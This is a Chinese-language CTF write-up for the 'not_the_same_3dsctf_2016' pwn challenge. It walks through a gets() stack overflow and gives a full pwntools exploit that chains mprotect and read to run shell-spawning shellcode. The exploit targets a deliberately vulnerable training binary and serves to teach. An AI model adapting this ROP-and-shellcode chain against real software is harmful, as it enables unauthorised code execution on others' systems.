本题目本地与远程得用两种方案打。
1.Checksec & IDA Pro
部分RELRO与栈不可执行。
在IDA中发现了 get_secret 函数
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf((int)"b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4); //栈溢出漏洞
return 0;
}
显而易见的栈溢出漏洞,会让人有惯性思维进行ret2text。但是事实并非如此。
如果使用 get_secret 函数打通了本地,会发现远程是打不通的。
再看一眼函数列表
mprotect 函数
原型:int mprotect(void *addr, size_t len, int prot)
addr 内存起始值
len 内存空间大小
prot 内存权限
因此远程打通的思路是:
溢出 --> 给一段内存使用 mprotect 修改为可执行 --> shellcode
实际Payload:
mproctet_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop = 0x804F420
mem_addr = 0x80EB000 # IDA Ctrl + S 查看 .got.plt 段起始地址并填入
mem_size = 0x1000 # 只要放得下 shellcode 就够用,设置大小无所谓
mem_type = 0x7 # 7 可执行权限
shellcode = asm(shellcraft.sh())
payload = ( b'A' * 0x2D ) + p32(mproctet_addr) + p32(pop) + p32(mem_addr) + p32(mem_size) + p32(mem_type)
payload += p32(read_addr) + p32(pop) + p32(0) + p32(mem_addr) + p32(len(shellcode)) + p32(mem_addr)
#溢出 --> 执行 mprotect 函数,使 .got.plt 段可执行 ,由于有3个参数,需要3个pop
#用 read 函数,写入 shellcode 到段中目标地址
完整PoC:
from pwn import *
elf = ELF("/root/Desktop/PwnSubjects/not_the_same_3dsctf_2016")
#io = remote("node4.buuoj.cn",29455)
io = process("/root/Desktop/PwnSubjects/not_the_same_3dsctf_2016")
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop = 0x804F420
mem_addr = 0x80EB000
mem_size = 0x1000
mem_type = 0x7
shellcode = asm(shellcraft.sh())
payload = ( b'A' * 0x2D ) + p32(mprotect_addr) + p32(pop) + p32(mem_addr) + p32(mem_size) + p32(mem_type)
payload += p32(read_addr) + p32(pop) + p32(0) + p32(mem_addr) + p32(len(shellcode)) + p32(mem_addr)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
成功获取shell